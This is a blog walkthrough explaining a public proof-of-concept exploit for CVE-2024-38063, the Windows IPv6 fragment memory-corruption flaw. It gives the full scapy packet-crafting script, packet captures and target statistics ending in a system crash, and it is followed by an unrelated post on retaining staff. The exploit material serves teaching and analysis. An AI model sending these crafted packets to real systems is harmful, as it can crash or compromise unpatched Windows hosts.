Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548831   batch id: 1     try: 1
Get packets frag_id: 233548831   batch id: 1     try: 1
Get packets frag_id: 233548832   batch id: 2     try: 2
Get packets frag_id: 233548832   batch id: 2     try: 2
Sending packets
..................
Sent 18 packets.
Memory corruption will be triggered in 51 seconds

Now that we know the fragment ID is increasing with each try, time to dig into the rest of the code.

Looking at the 3 main lines:

first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'    
third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)

Sending each line one at a time starting with the first. Notice I dropped the variables in the case of "64+i" and "ip_addr".

>>> send(IPv6(fl=1, hlim=64, dst='fec0::6') / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)]))
.
Sent 1 packets.

So what is going on with that packet? Let's take a look at the IPv6 header first.

   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |Version| Traffic Class |           Flow Label                  |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |         Payload Length        |  Next Header  |   Hop Limit   |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   +                                                               +
   |                                                               |
   +                         Source Address                        +
   |                                                               |
   +                                                               +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                                                               |
   +                                                               +
   |                                                               |
   +                      Destination Address                      +
   |                                                               |
   +                                                               +
   |                                                               |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

In the crafted "IPv6()" header, the value "fl=1" represents the "Flow Label". This is a 20-bit field used by the sender to label sequences of packet to be treated in the network as a single flow. 

The "hlim=64" or "Hop Limit" is decremented by each host (think router for example) that forwards this packet. This is a 1-byte (8 bits) field.

"dst='fec0::6" - This is the 128-bit destination IP address of the host to receive this packet. For this demo, the host is at IPv6 address "fec0::6"

The next important part of this first packet is the "IPv6ExtHdrDestOpt". This relates to the "Destination Options Header". The optional information in this header should only be examined by the destination node (i.e. the true recipient of the packet)

    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    |  Next Header  |  Hdr Ext Len  |                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
    |                                                               |
    .                                                               .
    .                            Options                            .
    .                                                               .
    |                                                               |
    +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

What are the options to be specified in this case? The option is the PadN. PadN and Pad1 are the only options defined in RFC 8200.

PadN is used to insert 2 or more octets of padding into the Options area of the header. 

In this case the "optype=0x81" is an invalid option.

"optdata='a'*3" - This is just multiplying a 3 times. Hence resulting in an "opdata" of "aaa".

Looking at the packets from the network perspective

┌──(kali㉿securitynik)-[~]
└─$ sudo tcpdump -nnt --interface eth0 "host fec0::6" -X
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

IP6 fec0::2 > fec0::6: DSTOPT no next header
        0x0000:  6000 0001 0008 3c40 fec0 0000 0000 0000  `.....<@........
        0x0010:  0000 0000 0000 0002 fec0 0000 0000 0000  ................
        0x0020:  0000 0000 0000 0006 3b00 8103 6161 6100  ........;...aaa.
IP6 fec0::6 > fec0::2: ICMP6, parameter problem, option - octet 42, length 56
        0x0000:  6000 0000 0038 3a80 fec0 0000 0000 0000  `....8:.........
        0x0010:  0000 0000 0000 0006 fec0 0000 0000 0000  ................
        0x0020:  0000 0000 0000 0002 0402 e59e 0000 002a  ...............*
        0x0030:  6000 0001 0008 3c40 fec0 0000 0000 0000  `.....<@........
        0x0040:  0000 0000 0000 0002 fec0 0000 0000 0000  ................
        0x0050:  0000 0000 0000 0006 3b00 8103 6161 6100  ........;...aaa.

Looking at the second packet:

second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'

Notice the small modifications, such as removing the variables:

>>> send(IPv6(fl=1, hlim=64, dst='fec0::6') / IPv6ExtHdrFragment(id=0xdebac1e, m = 1, offset = 0) / 'aaaaaaaa')
.
Sent 1 packets.

What is going on above?

Well no need to review the IPv6() header. Let's focus on the "IPv6ExtHdrFragment". In general, if a packet is larger than the Maximum Transmission Unit (MTU) of the network, that packet will need to be fragmented. In Ethernet the default MTU size is 1500 bytes. Hence, if you wish to spend a packet 1501 bytes, it will need to be fragmented.

The Fragment Header in IPv6 is used to send a packet that is larger than the MTU of the path to the destination. While in IPv4 fragmentation is handled by the source host and intermediate devices such as routers, in IPv6 this is only by source nodes. 

We already know from above that the "id=frag_id" is going to generate a new fragment ID for each packet starting with "0xdebac1e" (noticed the word debacle in there 😁) or decimal "233548830".  We also know that each fragment within a fragment train should have the same fragment ID. The fact that we have new fragment IDs for each try, means that we have a set of independent fragments. 

The "m=1" means we have more fragments coming beyond this one.

"aaaaaaaa" - 8 bytes of data. Each a represents a byte value. Hence eight 8 as in this case 8 bytes.

What does this packet look like on the network?

┌──(kali㉿securitynik)-[~]
└─$ sudo tcpdump -nnt --interface eth0 "host fec0::6" -X
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

IP6 fec0::2 > fec0::6: frag (0|8) no next header
        0x0000:  6000 0001 0010 2c40 fec0 0000 0000 0000  `.....,@........
        0x0010:  0000 0000 0000 0002 fec0 0000 0000 0000  ................
        0x0020:  0000 0000 0000 0006 3b00 0001 0deb ac1e  ........;.......
        0x0030:  6161 6161 6161 6161                      aaaaaaaa

Note, if you are struggling to understand fragmentation in general, see this post I did a back in 2018, for a simplified walkthrough: https://www.securitynik.com/2018/07/understanding-ip-fragmentation.html

Let's prepare to wrap this up by looking at the "third" packet:

third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)

>>> send(IPv6(fl=1, hlim=64, dst='fec0::6') / IPv6ExtHdrFragment(id=0xdebac1e, m = 0, offset = 1))
.
Sent 1 packets.

The only items that need attention here is "m=0" and "offset=1". Let's break this down.

In the previous example of "IPv6ExtHdrFragment", we had "m=1". We also stated that this means more fragments were coming beyond this (in this case the previous fragment) header. With "m=0" this means there are no more fragments coming beyond this current one.

At the same time "offset=0" in the previous example now jumps to "offset=1". Here is a catch for some of you. In the previous fragment, we sent 8 bytes "aaaaaaaa". However, in this case, we are saying the offset is 1. Wouldn't this overwrite one of the "a" in "aaaaaaaa"? Well the answer is no and here is why. 

The fragment offset is represented as a 13-bit field within a 16-bit field. With the high order 16 bits representing the "Fragment Offset", we have the low order bit representing the "M flag". This is what was set above to "m=1" and "m=0" respectively. Finally, we have a 2 bit field (00) "Res" which is reserved. 

But still, why no overwriting?! Well, the "Payload Length" field is 16 bits. Meaning we have 2**16 or 65536 bytes available to us. It represents everything beyond the IPv6 header including the extensions. However, the "Fragment Offset" only represents 13 bits. Hence if we do 2**13, we get 8192. As we can see, this does not equate to our 65536. However, if we multiply 8192*8, we get 65536 which gets us back to size of the "Payload Length". So when we see the above "offset=1", we need to multiply the offset value by 8. Hence our actual offset is 8 in decimal. Thus, this fragment falls directly at the end of sequence of the 8 "a". Keep in kind also, when counting offsets, we count from 0. So, 8 bytes goes from 0-7. Hence the final fragment at offset 8 sits directly after this one.

Also something else to consider, we sent only 16 bytes of payload in the first fragment. 8 of these represent the "Fragment Header" and the other 8 bytes represent the sequence of 8 "a" for 8 bytes. The second fragment we sent no data but there is an 8 byte "Fragment Header". In total, we sent 24 bytes. This is wayyyyyyyyyyyyy below any normal MTU and on a normal day would not require fragmentation.

What does the final packet look like on the wire:

┌──(kali㉿securitynik)-[~]
└─$ sudo tcpdump -nnt --interface eth0 "host fec0::6" -X
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes

IP6 fec0::2 > fec0::6: frag (8|0)
        0x0000:  6000 0001 0008 2c40 fec0 0000 0000 0000  `.....,@........
        0x0010:  0000 0000 0000 0002 fec0 0000 0000 0000  ................
        0x0020:  0000 0000 0000 0006 3b00 0008 0deb ac1e  ........;.......

With core understanding of what ynwarcs's script does, I am just removing some items for simpicity of visualization in this case. Please refer to the original code for full guidance.

from scapy.all import *

iface='eth0'
ip_addr='fec0::6'
num_tries=20
num_batches=20
	

def get_packets(i):
    frag_id = 0xdebac1e + i
    print(f'Get packets frag_id: {frag_id} \t batch id: {i} \t try: {i}')
    first = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrDestOpt(options=[PadN(otype=0x81, optdata='a'*3)])
    second = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 1, offset = 0) / 'aaaaaaaa'
    third = IPv6(fl=1, hlim=64+i, dst=ip_addr) / IPv6ExtHdrFragment(id=frag_id, m = 0, offset = 1)
    return [first, second, third]

final_ps = []
for _ in range(num_batches):
    for i in range(num_tries):
        final_ps += get_packets(i) + get_packets(i)

print("Sending packets")
send(final_ps, iface)

for i in range(60):
    print(f"Memory corruption will be triggered in {60-i} seconds", end='\r')
    time.sleep(1)
print("")

This is a snapshot of the host "ipstats" prior to sending the script above.

C:\Users\securitynik>netsh interface ipv6 show ipstats
MIB-II IP Statistics
------------------------------------------------------
Forwarding is:                      Disabled
Default TTL:                        128
In Receives:                        0
In Header Errors:                   0
In Address Errors:                  0
Datagrams Forwarded:                0
In Unknown Protocol:                0
In Discarded:                       0
In Delivered:                       43
Out Requests:                       74
Routing Discards:                   0
Out Discards:                       0
Out No Routes:                      0
Reassembly Timeout:                 60
Reassembly Required:                0
Reassembled Ok:                     0
Reassembly Failures:                0
Fragments Ok:                       0
Fragments Failed:                   0
Fragments Created:                  0

Run the script:

┌──(kali㉿securitynik)-[/tmp]
└─$ sudo python ./ipv6.py 
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548830   batch id: 0     try: 0
Get packets frag_id: 233548831   batch id: 1     try: 1
...
Sent 2400 packets.
Memory corruption will be triggered in 1 seconds

 

After running the script (and before it crashes) we see on the Windows hosts.

C:\Users\securitynik>netsh interface ipv6 show ipstats
MIB-II IP Statistics
------------------------------------------------------
Forwarding is:                      Disabled
Default TTL:                        128
In Receives:                        2426
In Header Errors:                   0
In Address Errors:                  0
Datagrams Forwarded:                0
In Unknown Protocol:                0
In Discarded:                       0
In Delivered:                       2469
Out Requests:                       902
Routing Discards:                   0
Out Discards:                       0
Out No Routes:                      0
Reassembly Timeout:                 60
Reassembly Required:                1598
Reassembled Ok:                     0
Reassembly Failures:                0
Fragments Ok:                       0
Fragments Failed:                   0
Fragments Created:                  0

Finally we see the system crash: 

That's it. 

References:

CVE-2024-38063 - Security Update Guide - Microsoft - Windows TCP/IP Remote Code Execution Vulnerability

GitHub - ynwarcs/CVE-2024-38063: poc for CVE-2024-38063 (RCE in tcpip.sys)

Learning by practicing: Beginning Integer Overflow/Underflow - Signed and Unsigned integers (securitynik.com)

Learning by practicing: Crafting your first IPv6 UDP packet, with a taste of scapy (securitynik.com)

Where are we with CVE-2024-38063: Microsoft IPv6 Vulnerability - SANS Internet Storm Center

CVE-2024-38063 - Remotely Exploiting The Kernel Via IPv6 (malwaretech.com)

RFC 6437: IPv6 Flow Label Specification (rfc-editor.org)

Understanding the IPv6 Header | Microsoft Press Store

Learning by practicing: Understanding IP Fragmentation Overlapping with Scapy (securitynik.com)

3 simple tips, for retaining your critical resources in the 21st century

Back in 2016, I wrote an article on my blog at www.securitynik.com titled "On recruiting and retaining talented Cyber Security professionals". (https://www.securitynik.com/search?q=center+for+strategic). In that article, I referenced a Center For Strategic and International Studies report: (https://www.csis.org/analysis/recruiting-and-retaining-cybersecurity-ninjas) and agreed with the report findings, given my own experience with the topic.

Here we are in 2024, and this problem might have gotten worse, as top talent in general can be harder to retain and even costlier. This problem has now extended to the new hot and exciting field of AI. As reported by the Wall Street Journal "American companies are in the midst of an AI recruiting frenzy" (https://www.wsj.com/articles/artificial-intelligence-jobs-pay-netflix-walmart-230fc3cb). 

Many, (almost all) organizations, talk about their people being their most important assets. However, how many of these organization are truly practicing what they are preaching? We read about quiet quitting, massive layoffs, etc. What gives? Is it the employee or the companies at fault, for this seeming lack, of a mutually beneficial relationship?

Before we move forward, let us be clear. I'm not speaking about this topic from a HR perspective, as I am in no position of authority to do so. However, I do bring credibility to this topic, having been a Manager, Sr. Manager and now a Director in a Managed Security Services, Security Operation Center (SOC), where I led the creation and expansion of the initial Cyber Security Team. I do bring credibility, having led the resource development and or expansion of SOCs in Canada, India and Eastern Europe. More importantly, I do bring credibility to this topic, having worked with local colleges as part of their Program Advisory Committees (PAC) and as the lead who recruited, developed and retained those colleges resources as part of their co-op and eventual hire within the SOC. Additionally, I have been a mentor for The SANS Institute and Ryerson (now Toronto Metropolitan University (TMU), as part of the Rogers Cyber Secure Catalyst program and now their Advanced Cyber Education (ACE) program. These experiences gives me a better vantage point and (in my opinion 😉) the credibility to speak on this topic, maybe even better than some HR professionals 😉

So with that said, here are my 3 keys to successful retention of your critical resources: Respect, Appreciate and value

Respect:
Your employees want to feel (notice the emotion) respected. If you don't respect your employees, there is always a recruiter out there who respects what they have done, trying to poach them to see if they can replicate their work in a different organization. Remember, this is the 21st century. While people still do send out applications, the reality is, in most cases, your employees are being regularly contacted by recruiters. This makes it easy for your critical resources to take their talents to another organization. As I stated in my 2016 article, I have been on both sides of this equation. First, being directly recruited by other organization/recruiters and on the other side, watching my people being recruited.

Appreciate:
Your employees want to feel (notice the emotion again) appreciated. We live in a world where some folks do it for the likes rather than the love. The social media generation wants constant affirmation. Pay attention to their needs. If you do not show appreciation and someone else does, then it is more likely your critical resources will leave your organization. Let's also be clear, the grass (company) on the other side of the fence is not always greener. Sometimes it is even fake grass. However, what most employees want, is to know the patch (business unit) of the lawn they are standing on, has a caretaker (leader) that keeps that patch real, comfortable and worthy to stand on. Remember, people don't leave bad companies, they leave bad managers. So if their immediate manager is great, your employees are willing to ignore the rest of what is going on within the organization.

Value:
Your employees want to feel (notice the emotion again and again) valued. Your employees want to know (not emotion now, but logic) they are being compensated fairly, at market value. Most employees are not interested in becoming millionaires/billionaires. They all don't aspire to become the next Head ... In Charge (H.IC). They just want to be able to support their families. Let's be clear, every employee cannot be valued from the same perspective. There are employees that are rockstars and will succeed in any organization/environment. Then there are the rocks, indispensable to your organization, solid in what they do but are not confident about how they would do outside of your org. Then there are the "pebbles", those that are there just because, but do play an important role. Ensure you at least prioritize your rockstars and rocks. Be aware, there is always someone else willing to pay more. However, your employees are more likely to give you loyalty and stay with your organization, even if more is being offered, once they know they have your respect, you appreciate them and you value them. 

Extra (Should this be extra in today's world?)
Since I am here, have flexible work from home policies where and when possible. Come on this is the 21st century. Let's measure performance and quality of output, rather than attendance. 

Ohhh, on a parting note (my rant) for those leaders who talk about remote work “... doesn't work for those who want to hustle", let's be clear, a real hustler, hustles, whether you give that person a street corner or a corner office.